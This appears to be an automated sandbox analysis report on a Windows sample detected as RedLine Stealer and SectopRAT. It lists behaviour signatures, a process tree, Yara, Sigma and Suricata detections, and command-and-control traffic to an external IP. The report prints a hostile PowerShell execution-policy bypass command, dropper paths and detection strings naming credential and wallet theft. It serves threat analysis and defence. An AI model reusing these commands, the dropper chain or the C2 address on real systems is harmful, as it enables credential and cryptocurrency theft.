Edit tour

Windows Analysis Report
9VbeqQbgU4.exe

Overview

General Information

Sample name:	9VbeqQbgU4.exe renamed because original name is a hash value
Original sample name:	a91b4875630c4f702ab63f94ed633da4.exe
Analysis ID:	1564404
MD5:	a91b4875630c4f702ab63f94ed633da4
SHA1:	d485e90a501aa11f89f684063e5fbe235937f0bf
SHA256:	d864a359e3a19182e72109fe75408d21b10215938e8be4098c4dbbc8ce0b7c7c
Tags:	exeuser-smica83
Infos:

Detection

RedLine, SectopRAT

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	48
Range:	0 - 100

Signatures

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

Yara detected SectopRAT

AI detected suspicious sample

Bypasses PowerShell execution policy

Connects to many ports of the same IP (likely port scanning)

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

Powershell drops PE file

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file contains strange resources

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

9VbeqQbgU4.exe (PID: 6732 cmdline: "C:\Users\user\Desktop\9VbeqQbgU4.exe" MD5: A91B4875630C4F702AB63F94ED633DA4)

9VbeqQbgU4.tmp (PID: 6764 cmdline: "C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp" /SL5="$10434,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" MD5: 6AB2AF20157D2F440E8B22982F6247C5)

powershell.exe (PID: 1744 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dobi.exe (PID: 4908 cmdline: "C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe" MD5: A439025E40533F6E78C74FE8E9CE9875)

more.com (PID: 4548 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 1464 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

svchost.exe (PID: 6408 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

coml.exe (PID: 4584 cmdline: "C:\Users\user\AppData\Roaming\sto\coml.exe" MD5: A439025E40533F6E78C74FE8E9CE9875)

more.com (PID: 6880 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 5144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 340 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\jotnemib	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\jotnemib	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\jotnemib	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
C:\Users\user\AppData\Local\Temp\kdtvqgf	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\kdtvqgf	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\kdtvqgf	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.2653781930.0000000005610000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2653781930.0000000005610000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000011.00000002.2653978142.0000000000772000.00000002.00000001.01000000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2653978142.0000000000772000.00000002.00000001.01000000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000009.00000002.2392668507.0000000005580000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2392668507.0000000005580000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: powershell.exe PID: 1744	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc7bd7e:$b1: ::WriteAllBytes( 0xc7bd4b:$b2: ::FromBase64String( 0x5cd70:$s1: -join 0xbebb87:$s1: -join 0xbf7cc5:$s1: -join 0xc87193:$s1: -join 0xc94268:$s1: -join 0xc9763a:$s1: -join 0xc97cec:$s1: -join 0xc997dd:$s1: -join 0xc9b9e3:$s1: -join 0xc9c20a:$s1: -join 0xc9ca7a:$s1: -join 0xc9d1b5:$s1: -join 0xc9d1e7:$s1: -join 0xc9d22f:$s1: -join 0xc9d24e:$s1: -join 0xc9da9e:$s1: -join 0xc9dc1a:$s1: -join 0xc9dc92:$s1: -join 0xc9dd25:$s1: -join
Process Memory Space: more.com PID: 4548	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: more.com PID: 4548	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 1464	JoeSecurity_SectopRAT	Yara detected SectopRAT	Joe Security
Process Memory Space: MSBuild.exe PID: 1464	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: more.com PID: 6880	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: more.com PID: 6880	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 340	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.2.more.com.56100c8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.more.com.56100c8.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.2.more.com.56100c8.7.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
17.2.MSBuild.exe.770000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.MSBuild.exe.770000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
17.2.MSBuild.exe.770000.0.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
15.2.more.com.56100c8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.more.com.56100c8.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.2.more.com.56100c8.7.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
9.2.more.com.55800c8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.more.com.55800c8.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
9.2.more.com.55800c8.7.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
9.2.more.com.55800c8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.more.com.55800c8.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
9.2.more.com.55800c8.7.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
Click to see the 10 entries

Other

Source	Rule	Description	Author	Strings
amsi32_1744.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x57db01:$b1: ::WriteAllBytes( 0x57dacd:$b2: ::FromBase64String( 0x58a0c2:$s1: -join 0x58386e:$s4: += 0x583930:$s4: += 0x587b57:$s4: += 0x589c74:$s4: += 0x589f5e:$s4: += 0x58a0a4:$s4: += 0x58d8ba:$s4: += 0x58d9be:$s4: += 0x590e1a:$s4: += 0x5914fa:$s4: += 0x5919b0:$s4: += 0x591a05:$s4: += 0x591c79:$s4: += 0x591ca8:$s4: += 0x5921f0:$s4: += 0x59221f:$s4: += 0x5922fe:$s4: += 0x594595:$s4: +=

Sigma Signatures

System Summary

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp" /SL5="$10434,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp, ParentProcessId: 6764, ParentProcessName: 9VbeqQbgU4.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", ProcessId: 1744, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp" /SL5="$10434,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp, ParentProcessId: 6764, ParentProcessName: 9VbeqQbgU4.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", ProcessId: 1744, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp" /SL5="$10434,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp, ParentProcessId: 6764, ParentProcessName: 9VbeqQbgU4.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", ProcessId: 1744, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1744, TargetFilename: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\svchost.exe, ProcessId: 6408, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT2493.tmp

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp" /SL5="$10434,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp, ParentProcessId: 6764, ParentProcessName: 9VbeqQbgU4.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1", ProcessId: 1744, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6408, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T09:53:19.181228+0100	2029217	1	Malware Command and Control Activity Detected	45.141.84.168	15647	192.168.2.4	49769	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T09:53:17.968847+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.088879+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.208922+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.395880+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.570295+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.691167+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.811978+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:18.931926+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.052060+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.172087+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.332310+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.452464+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.574792+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.697282+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:19.817567+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.064674+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.187245+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.308703+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.432690+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.554077+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.674675+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.795400+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP
2024-11-28T09:53:20.915595+0100	2051910	1	A Network Trojan was detected	192.168.2.4	49769	45.141.84.168	15647	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T09:53:26.920884+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49786	45.141.84.168	9000	TCP
2024-11-28T09:53:28.569125+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49789	45.141.84.168	9000	TCP
2024-11-28T09:53:30.155561+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49794	45.141.84.168	9000	TCP
2024-11-28T09:53:31.844695+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49795	45.141.84.168	9000	TCP
2024-11-28T09:53:33.437774+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49796	45.141.84.168	9000	TCP
2024-11-28T09:53:35.033442+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49797	45.141.84.168	9000	TCP
2024-11-28T09:53:36.625530+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49798	45.141.84.168	9000	TCP
2024-11-28T09:53:38.262952+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49799	45.141.84.168	9000	TCP
2024-11-28T09:53:39.906167+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49800	45.141.84.168	9000	TCP
2024-11-28T09:53:41.500018+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49801	45.141.84.168	9000	TCP
2024-11-28T09:53:43.141040+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49802	45.141.84.168	9000	TCP
2024-11-28T09:53:44.785337+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49803	45.141.84.168	9000	TCP
2024-11-28T09:53:46.418292+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49804	45.141.84.168	9000	TCP
2024-11-28T09:53:47.955383+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49805	45.141.84.168	9000	TCP
2024-11-28T09:53:49.501586+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49806	45.141.84.168	9000	TCP
2024-11-28T09:53:51.117998+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49807	45.141.84.168	9000	TCP
